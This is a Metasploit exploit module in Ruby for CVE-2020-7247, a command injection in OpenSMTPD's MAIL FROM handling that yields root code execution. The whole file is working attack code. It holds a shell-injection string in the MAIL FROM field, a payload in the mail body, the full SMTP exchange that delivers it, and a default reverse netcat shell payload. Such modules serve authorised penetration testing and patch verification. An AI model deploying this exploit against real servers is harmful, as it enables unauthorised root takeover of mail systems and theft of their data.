##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Expect

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection in the MAIL FROM field during
          SMTP interaction with OpenSMTPD to execute a command as the root user.
        },
        'Author' => [
          'Qualys', # Discovery and PoC
          'wvu', # Module
          'RageLtMan <rageltman[at]sempervictus>' # Module
        ],
        'References' => [
          ['CVE', '2020-7247'],
          ['URL', 'https://seclists.org/oss-sec/2020/q1/40']
        ],
        'DisclosureDate' => '2020-01-28',
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Targets' => [
          ['OpenSMTPD < 6.6.1',
           'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(25),
      OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])
  end

  def check
    connect
    res = sock.get_once

    return CheckCode::Unknown unless res
    return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/

    CheckCode::Safe
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown
  ensure
    disconnect
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    # We don't care who we are, so randomize it
    me = rand_text_alphanumeric(8..42)

    # Send mail to this valid recipient
    to = datastore['RCPT_TO']

    # Comment "slide" courtesy of Qualys - brilliant!
    iter = rand_text_alphanumeric(15).chars.join(' ')
    from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;"

    # This is just insurance, since the code was already written
    if from.length > 64
      fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars')
    elsif (badchars = (from.chars & target['MyBadChars'])).any?
      fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}")
    end

    # Create the mail body with comment slide and payload
    body = "\r\n" + "#\r\n" * 15 + payload.encoded

    sploit = {
      nil => /220.*OpenSMTPD/,
      "HELO #{me}" => /250.*pleased to meet you/,
      "MAIL FROM:<#{from}>" => /250.*Ok/,
      "RCPT TO:<#{to}>" => /250.*Recipient ok/,
      'DATA' => /354 Enter mail.*itself/,
      body => nil,
      '.' => /250.*Message accepted for delivery/,
      'QUIT' => /221.*Bye/
    }

    print_status('Connecting to OpenSMTPD')
    connect

    print_status('Saying hello and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock: sock,
        newline: "\r\n",
        timeout: datastore['ExpectTimeout']
      )
    end
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    disconnect
  end

end
